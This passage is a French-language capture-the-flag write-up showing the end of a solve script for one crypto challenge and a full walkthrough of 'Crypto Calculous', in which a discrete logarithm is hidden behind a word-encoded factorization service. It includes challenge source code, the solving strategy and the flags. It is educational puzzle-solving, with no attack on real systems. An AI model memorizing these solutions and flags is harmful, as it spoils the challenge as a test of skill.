```python 327 | new_ciphertexts = [] 328 | for vc in [ciphertext[:16],ciphertext[16:]]: 329 | new_vc = [] 330 | for i in vc: 331 | for b in bin(i)[2:].zfill(8): 332 | new_vc.append(int(b,2)) 333 | new_ciphertexts.append(new_vc) 334 | ciphertexts = new_ciphertexts 335 | 336 | flag = "" 337 | for ciphertext in ciphertexts: 338 | i = 0 339 | plain = ["_"]*128 340 | for equation in e: 341 | index = int(re.findall('m[0-9]+',equation)[0][1:]) # message bit index 342 | plain[index] = ciphertext[i] 343 | if '^' in equation : 344 | plain[index] ^= int(equation.split('^')[1]) 345 | i+=1 346 | ascii_plain = "" 347 | for i in range(0,len(plain),8): 348 | ascii_plain += chr(int("".join([str(p) for p in plain[i:i+8]]),2)) 349 | flag += ascii_plain 350 | print(flag) 351 | ``` 352 | 353 | Et le flag tombe immédiatement : `sigsegv{sUr3_r0ll_uR_0wN_crYpt0}` 354 | 355 | [Lien vers le script](alice/solve.py) 356 | 357 | ------ 358 | 359 | # Crypto Calculous 360 | 361 | (Auteur: Titanex) 362 | 363 | ## Description 364 | 365 | Voici un challenge rigolo proposé par [Alkanor](https://twitter.com/Alka_Nor) de par sa conception peu commune. 366 | 367 | ``` 368 | [FR] 369 | Auteur : Alkanor 370 | Difficulté estimée : Moyenne (niveau 1)/Difficile (niveau 2) 371 | 372 | Description : 373 | Niveau 1: "Notre service de factorisation en nombres premiers s'est un peu emballé et commence à générer des chaînes de caractères bizarres. Pouvez-vous le réparer ?" 374 | Niveau 2: "Le service de factorisation a malheureusement détecté vos tentatives pour retrouver la valeur de ses chaînes de caractères. Il a décidé de vous complexifier la tâche." 375 | 376 | Niveau 1 : finale-challs.rtfm.re:5555 Niveau 2 : finale-challs.rtfm.re:5557 377 | 378 | [EN] 379 | Author : Alkanor 380 | Estimated difficulty: Medium (level 1)/Hard (level 2) 381 | 382 | Description : 383 | Level 1: "Our last generation prime factorization service has become crazy and it started to generate weird random strings. Are you able to fix it ?" 384 | Level 2: "The factorization service has detected your attempts to find back the real string values. He decided to make your life a hell" 385 | 386 | Level 1: finale-challs.rtfm.re:5556 Level 2: finale-challs.rtfm.re:5558 387 | ``` 388 | 389 | Deux archives sont fournies avec ce challenge [level1](crypo_calculous/level1.tar.xz) et [level2](crypo_calculous/level2.tar.xz) 390 | Celles-ci contiennent quasiment la même chose : 391 | 392 | ``` 393 | ll -R 394 | .: 395 | total 20 396 | drwxrwxrwx 1 titanex titanex 4096 déc. 1 03:53 ./ 397 | drwxrwxrwx 1 titanex titanex 4096 déc. 1 03:53 ../ 398 | drwxrwxrwx 1 titanex titanex 4096 déc. 1 03:53 FR_words/ 399 | -rwxrwxrwx 1 titanex titanex 1731 nov. 17 19:20 generate_corpus.py* 400 | -rwxrwxrwx 1 titanex titanex 4998 nov. 17 19:20 index_calculus_en.py* 401 | -rwxrwxrwx 1 titanex titanex 5132 nov. 17 19:20 index_calculus_fr.py* 402 | -rwxrwxrwx 1 titanex titanex 29 nov. 17 19:20 secret.py* 403 | 404 | ./FR_words: 405 | total 8 406 | drwxrwxrwx 1 titanex titanex 4096 déc. 1 03:53 ./ 407 | drwxrwxrwx 1 titanex titanex 4096 déc. 1 03:53 ../ 408 | -rwxrwxrwx 1 titanex titanex 777 nov. 17 19:20 adjs96FR.txt* 409 | -rwxrwxrwx 1 titanex titanex 2298 nov. 17 19:20 noms294FR.txt* 410 | -rwxrwxrwx 1 titanex titanex 380 nov. 17 19:20 verbes50FR.txt* 411 | ``` 412 | 413 | Nous avons tout ce qu'il faut pour faire tourner le challenge en local (avec socat par exemple : `socat TCP-LISTEN:4242,reuseaddr,fork,bind=127.0.0.1 "EXEC:../level1/index_calculus_fr.py"`) 414 | 415 | Nous allons résoudre les 2 étapes en même temps, car le script de résolution est identique pour la première et la deuxième étape. 416 | 417 | ## Le challenge 418 | 419 | ### Le serveur 420 | Commençons par analyser ce que nous envoie le serveur : 421 | 422 | ``` 423 | ~~~~~~~ Super service de factorisation à ton service ~~~~\~\~~ 424 | Tu peux demander des factorisations quelconques dans un espace un peu particulier 425 | Pour cela, tu pourras rentrer lignes par ligne des expressions comme connaître_une_part_bizarre_et_dire_une_madame_juste-3 426 | L'expression indiquée correspond à un nombre entre 2 et 15361368, à la puissance 3 427 | Chaque ligne X-n que tu ajoutes est une multiplication supplémentaire par X^n 428 | Puis quand tu as fini, tu obtiens la décomposition en facteurs premiers du produit 429 | 430 | Pour obtenir le flag, tu dois répondre à la question suivante : 431 | Combien de aimer_une_confiance_facile_et_aller_une_erreur_jolie y a-t-il dans laisser_une_ombre_gentille_et_chercher_un_intérieur_faux ? 432 | Bon chance (tu as droit à 1500 requêtes) 433 | 434 | Quoi faire ? 435 | [+] 1 - Décomposer un produit 436 | [+] 2 - Demander le flag 437 | [.] 3 - Quitter 438 | ``` 439 | 440 | Nous avons donc de la factorisation dans un espace un peu étrange puisque celui ne semble être composé que de morceaux de texte générés aléatoirement. 441 | Nous devons répondre à la question suivante : `Combien de A y a-t-il dans B ?` 442 | L'énoncé nous indique que nous allons travailler dans l'ensemble [2,p] (dans l'exemple p = 15361368). 443 | 444 | Nous avons le droit à 1500 requêtes au serveur. 445 | 446 | Voilà pour les informations que nous pouvons tirer du serveur. Passons maintenant au code source du challenge. 447 | 448 | ### Le code source 449 | 450 | #### Le main 451 | 452 | Commençons par la fin du fichier index_calculous.py qui est le commencement : 453 | 454 | ```python 455 | if __name__ == "__main__": 456 | N = 4500 457 | n_iteration_max = 1500 458 | 459 | i_to_s, s_to_i = generate_initial_table(N) 460 | P, A, B = generate_params() 461 | 462 | print("~~~~~~~ Super service de factorisation à ton service ~~~~~~~") 463 | print("Tu peux demander des factorisations quelconques dans un espace un peu particulier") 464 | print("Pour cela, tu pourras rentrer lignes par ligne des expressions comme {}-3".format(convert_i_to_s(4500*3256+1829, i_to_s, N))) 465 | print("L'expression indiquée correspond à un nombre entre 2 et {}, à la puissance 3".format(P-1)) 466 | print("Chaque ligne X-n que tu ajoutes est une multiplication supplémentaire par X^n") 467 | print("Puis quand tu as fini, tu obtiens la décomposition en facteurs premiers du produit\n") 468 | 469 | print("Pour obtenir le flag, tu dois répondre à la question suivante :") 470 | print("Combien de {} y a-t-il dans {} ?".format(convert_i_to_s(A, i_to_s, N), convert_i_to_s(B, i_to_s, N))) 471 | print("Bon chance (tu as droit à {} requêtes)\n".format(n_iteration_max)) 472 | 473 | for _ in range(n_iteration_max): 474 | print("Quoi faire ?") 475 | print("[+] 1 - Décomposer un produit") 476 | print("[+] 2 - Demander le flag") 477 | print("[.] 3 - Quitter") 478 | sys.stdout.flush() 479 | ans = sys.stdin.readline() 480 | 481 | if ans[0] == '1': 482 | decompose(s_to_i, i_to_s, N, P) 483 | elif ans[0] == '2': 484 | if ask_flag(A, B, P, N): 485 | print("Bien joué, tiens le flag pour toi: {}".format(FLAG)) 486 | else: 487 | print("Dommage, ça n'est pas du tout ças, heureusement tu pourras recommencer !") 488 | exit() 489 | else: 490 | print("Ok, tu quittes sans avoir fini, mais tu dois avoir tes raisons j'imagine.") 491 | print("Bye") 492 | exit() 493 | 494 | print("Tu as travaillé dur mais tu as dépassé le nombre de requêtes autorisées malheureusement.") 495 | print("Bye") 496 | exit() 497 | ``` 498 | 499 | Ici, nous avons : 500 | - la définition de N (level 1 = 4500 et level 2 = 200000) 501 | - la génération du corpus 502 | - quelques premiers éléments du corpus qui serviront de point de départ `print("Pour cela, tu pourras rentrer lignes par ligne des expressions comme {}-3".format(convert_i_to_s(4500*3256+1829, i_to_s, N)))` 503 | - P nous est envoyé 504 | - 2 actions possibles: 505 | - Décomposer un produit -> fonction `decompose` 506 | - Demander le flag -> fonction `ask_flag` 507 | 508 | #### Les fonctions "d'aides" 509 | 510 | Nous savons que les fichiers dans FR_words et le script generate_corpus (la version level2 est légèrement différente, mais sert exactement à la même chose) permettent de générer un corpus associant un entier à une chaine de caractères gâce à la fonction `generate_initial_table` : 511 | ```python 512 | def generate_initial_table(N): 513 | i_to_s = {} 514 | s_to_i = {} 515 | for i, c in enumerate(generate_corpus_from_files(os.path.join(os.path.dirname(__file__),"FR_words/verbes50FR.txt"),\ 516 | os.path.join(os.path.dirname(__file__),"FR_words/noms294FR.txt"),\ 517 | os.path.join(os.path.dirname(__file__),"FR_words/adjs96FR.txt"), N)): 518 | i_to_s[i] = c 519 | s_to_i[c] = i 520 | return i_to_s, s_to_i 521 | ``` 522 | 523 | Ainsi, pour chaque entier, nous avons un morceau de texte associé. Exemple: 524 | ``` 525 | {0: 'appeler_un_compte_plein', 1: 'passer_un_droit_certain', 2: 'sentir_un_merci_diff\xc3\xa9rent', 3: 'penser_une_nuit_libre', 526 | ``` 527 | 528 | Cet ensemble est de taille N. Cette taille est modifiée entre le level 1 (N = 4500) et le level 2 (N = 200000). 529 | 530 | Ensuite nous avons la génération des paramètres : 531 | 532 | ```python 533 | def generate_params(): 534 | p = generate_prime(24) 535 | A = random.randint(2, p-1) 536 | r = random.randint(2, p-1) 537 | B = pow(A, r, p) 538 | return p, A, B 539 | ``` 540 | 541 | p est un nombre premier de 24 bits (c'est un petit nombre). 542 | r semble être la solution attendue, car A et B sont envoyés par le serveur. Cette hypothèse sera confirmée par la suite de l'analyse. 543 | Au vu de l'exponentiation modulaire utilisée, nous devons donc retrouver r tel que `B = A ** r mod p`. Ceci est un problème de [logarithme discret](https://en.wikipedia.org/wiki/Discrete_logarithm) dans le [groupe fini](https://en.wikipedia.org/wiki/Finite_group) Zp. 544 | 545 | Les fonctions `convert_i_to_s`,`convert_s_to_i` et `decomposition_string` sont utilisées pour convertir une chaine de caractère en entier ou inversement. 546 | Celles-ci permettent de savoir comment sont décrits les nombres dans le nouvel alphabet : 547 | - si l'entier A est supérieur à N, alors la chaine renvoyée est la concaténation du quotient Q et de son reste R de la division euclidienne par N par le mot clé `_et_`. Schématiquement si `A = Q * N + R`, la chaine sera équivalente à `Q_et_R` (et réciproquement) 548 | - sinon la chaine renvoyée est tout simplement la chaine représentant R (le reste de la division par N car A < N). 549 | 550 | Cela nous permet donc d'avoir un ensemble Zp décrit qu'avec des éléments de ZN. 551 | 552 | Attaquons-nous aux deux actions possibles. 553 | 554 | #### Action 1 : Décomposer un produit 555 | 556 | Voici le code associé à la décomposition : 557 | 558 | ```python 559 | def decompose(s_to_i, i_to_s, N, P): 560 | print("Tes lignes x-n pour le produit des x^n ? (ligne vide pour finir)") 561 | sys.stdout.flush() 562 | ans = sys.stdin.readline()[:-1] 563 | lines = [] 564 | while ans: 565 | try: 566 | x, n = ans.split("-") 567 | if "_et_" in x: 568 | h, l = x.split("_et_") 569 | if h not in s_to_i: 570 | print("{} n'est pas dans la liste des mots connus".format(h)) 571 | elif l not in s_to_i: 572 | print("{} n'est pas dans la liste des mots connus".format(l)) 573 | else: 574 | X = convert_s_to_i(h, l, s_to_i, N) 575 | else: 576 | if x in s_to_i: 577 | X = s_to_i[x] 578 | else: 579 | print("{} n'est pas dans la liste des mots connus".format(x)) 580 | lines.append((X, int(n))) 581 | except: 582 | print("Arf, ça n'est pas le bon format et ta ligne précédente n'a pas été prise en compte") 583 | sys.stdout.flush() 584 | ans = sys.stdin.readline()[:-1] 585 | product = 1 586 | for x, n in lines: 587 | product = (product*pow(x, n, P))%P 588 | primes = factorint(product) 589 | print("Voilà ta décomposition :") 590 | # print(" * ".join(map(decomposition_string(i_to_s, N), lines)) + " (mod P) = " + " * ".join(map(decomposition_string(i_to_s, N), sorted(primes.items())))) # un peu trop facile 591 | print(" * ".join(map(decomposition_string(i_to_s, N), lines)) + " (mod P) = " + " * ".join(map(decomposition_string(i_to_s, N), primes.items()))) 592 | ``` 593 | 594 | Après analyse, on se rend compte que l'on peut envoyer une chaine représentant un nombre par ligne. Ensuite, ces nombres sont multipliés entre eux. Les exposants n'ont pas de contrainte particulière. 595 | Une fois le produit recomposé, le serveur nous renvoie sa décomposition en facteurs premiers dans l'alphabet défini par le corpus. Sauf que la décomposition n'est pas envoyée de manière triée. Prenons un exemple pour voir en quoi cela nous complique la vie. 596 | 597 | Nous souhaitons obtenir la décomposition de `564 = 2 ** 3 * 3 * 94`. 598 | Supposons que nous connaissons la chaine C à envoyer au serveur pour obtenir un produit égal à 564. 599 | Le serveur va nous retourner la réponse suivante : `C = chaine1 ** 3 * chaine2 * chaine3` 600 | Donc pouvons donc déduire que la représentation de 2 dans le corpus est `chaine1`, car l'exposant 3 n'est présent qu'une fois dans la décomposition. Le lien est immédiat. 601 | Pour les deux autres facteurs, nous ne pouvons pas dire laquelle des chaines correspond à 3 ou 94, car l'ordre des facteurs n'est pas garanti (ce n'est pas obligatoirement du plus petit au plus grand, car `primes` est un dictionnaire). Nous devrons donc gérer ce problème pour construire notre corpus. 602 | 603 | #### Action 2 : Demander le flag 604 | 605 | ```python 606 | def ask_flag(A, B, P, N): 607 | print("Alors tu as trouvé combien de {} il y avait dans {} ?".format(convert_i_to_s(A, i_to_s, N), convert_i_to_s(B, i_to_s, N))) 608 | sys.stdout.flush() 609 | ans = int(sys.stdin.readline()[:-1]) 610 | if pow(A, ans, P) == B: 611 | return True 612 | return False 613 | ``` 614 | 615 | Pour cette partie, nous n'aurons pas besoin de traduire la réponse. 616 | La ligne `if pow(A, ans, P) == B:` nous confirme le problème de logarithme discret. 617 | 618 | #### Résumons la situation 619 | 620 | Nous devons donc résoudre un problème de logarithme discret dans Zp décrit par un ensemble d'éléments appartenant à ZN, c'est-à-dire résoudre l'équation `B = A ** solution mod p` 621 | Nous ne pouvons qu'envoyer des chaines de caractères pour décrire nos nombres. Seules les puissances et la réponse à la question peuvent être envoyées en tant que numéros. 622 | 623 | Notre premier objectif est de remplir suffisamment notre corpus pour traduire les chaines de caractères représentant A et B. 624 | notre deuxième objectif est de résoudre le logarithme discret. 625 | 626 | ## Résolution 627 | 628 | ### Stratégie 629 | 630 | Nous avons les chaines représentant le quotient et le reste de A et B de par l'énoncé, nous pouvons donc demander au serveur les chaines décrivant leur décomposition en facteurs premiers. En effet, si nous avons la correspondance de ces chaines, nous serons en mesure de reconstruire A et B et ensuite de résoudre le challenge. Nous allons donc demander un par un les nombres premiers. 631 | 632 | De plus, cela a pour avantage de limiter la traduction nécessaire du corpus aux seuls nombres premiers (610 éléments pour le level 1, 17984 éléments pour le level 2). 633 | L'autre avantage qui est purement empirique à la suite de mes tests, c'est qu'il arrive très souvent que A et B se décomposent à l'aide de facteurs premiers inférieurs à 1000. 634 | Malheureusement, la solution exposée ne marchera pas dans 100% des cas pour le level2, car nous pouvons récupérer que 1500 éléments, mais marchera dans 30% à 40% des cas (toujours d'après mes tests), c'est suffisant pour résoudre le challenge et elle fonctionne pour les 2 levels, nous gagnons du temps. 635 | 636 | ### Remplir le corpus 637 | 638 | Alors pour cette partie, j'ai choisi d'avoir 2 classes: 639 | - `Number` : classe stockant en variable de classe notre corpus avec toutes les fonctions qui vont bien pour simplifier le code (ce n'est pas un code optimisé pour la performance) 640 | - `SubCorpus` : classe définissant un "sous-corpus" représentant la décomposition en facteurs premiers d'un nombre. Il y a deux variables : `factor` et `sfactor`, qui sont des dictionnaires où la clé représente la puissance du/des facteur(s) et la valeur associée est un tableau du/des facteur(s) associé(s) à ladite puissance. `factor` est un dictionnaire dans le monde classique des nombres, `sfactor` est un dictionnaire pour le monde lié au corpus du challenge. Cette classe possède une liste avec tous les subcorpus non vides et avec lesquels ne nous pouvons pas déduire des traductions. 641 | 642 | Lors de la création d'un subcorpus, je vérifie s'il est possible de supprimer des éléments que nous connaissons déjà pour ensuite essayer d'en déduire d'autres éléments avec les factors et sfactors restants. Une fois cette étape faite, je compare tous les subcorpus ensemble. Lors de la comparaison, je regarde l'intersection d'un élément avec tous les autres (j'enlève les cas où l'intersection est vide ou pleine puisque nous ne pouvons rien déduire) : 643 | - si cette intersection est composée d'un seul élément, alors nous avons une traduction en plus 644 | - sinon je calcule le xor des deux corpus vérifier si je peux en extraire des informations 645 | Et je recommence ceci jusqu'à que je ne fasse plus de modification dans la liste des subcorpus. 646 | 647 | Cette méthode est générique par rapport à la génération du nombre demandé, mais assez lourde en mémoire. Jai pu la tester à l'aide de la décomposition de nombres générés aléatoirement à partir de mon corpus. 648 | 649 | Il faut noter que par rapport à la stratégie choisie, tous ces traitements ne sont pas nécessaires, car nous aurons à chaque fois un seul élément dans la décomposition. Ils sont cependant intéressants et permettent de programmer un peu autour des ensembles. 650 | 651 | ### Tout est une question de logarithmes discrets 652 | 653 | Bon, maintenant, nous devons demander au serveur des nombres bien précis. Comment s'assurer que la décomposition en facteurs premiers soit composée d'un unique élément ? Eh bien, en résolvant un logarithme discret ! J'utiliserais Sympy qui possède une fonction qui va utiliser le meilleur algorithme de résolution d'un logarithme discret (qui est un problème très compliqué pour de grands chiffres, mais ici, p n'est que de 24 bits donc tout petit). En alternative, vous pouvez aussi utiliser SageMath. 654 | 655 | En effet, nous avons la relation suivante : si `D = C ** (e * i) mod P` avec i entier et que `e * i < P`, alors la décomposition de B sera égale à la décomposition de e. 656 | Exemple: si `e = 2 * (3 ** 2) * (5 ** 3)`, i = 1 et P > 2250, alors `decomposition(D) = 2 * (3 ** 2) * (5 ** 3)`. Le serveur nous retournera donc la chaine correspondante à 2, puis à 3 et enfin à 5, et comme les puissances associées aux facteurs sont différentes à chaque fois, nous récupérons ainsi la traduction des 3 facteurs dans le corpus du challenge. 657 | 658 | Il suffit donc de demander un nombre où e sera un nombre premier ou une composition bien choisie (inférieure à P et composée de d'élements avec des facteurs uniques). De ce fait, nous avons la garantie de pouvoir associer un nombre avec sa phrase. 659 | 660 | Nous pouvons maintenant passer à la dernière étape. 661 | 662 | Une fois que nous avons les éléments de A et B, nous arrêtons de remplir le corpus, car tout ce qu'il nous faut. 663 | Dans le cas du level 1, nous sommes sûr d'avoir la réponse, car il n'y a que 610 nombres premiers, mais pour le level 2, le script se relance jusqu'à trouver la bonne solution. Après quelques tests, je vous conseille de récupérer les 200 premiers nombres premiers, car ça va vite (le logarithme discret est de plus en plus long) et ça suffit dans un grand nombre de cas pour flag. 664 | 665 | Et voici les deux flags: 666 | - `sigsegv{0mg_but_did_u_re4ll1_ind3x_C4lculused_th3_CH411_0r_ch3413D?}` 667 | - `sigsegv{H4rD_t1m3_f0r_Z/PZ_t0_B3_iS0m0rph1sm3D}` 668 | 669 | ## Script 670 | 671 | (L'objet `Server` représente votre librairie préférée pour gérer les sockets) 672 | 673 | [Lien vers le script](crypto_calculous/solve.py) --------------------------------------------------------------------------------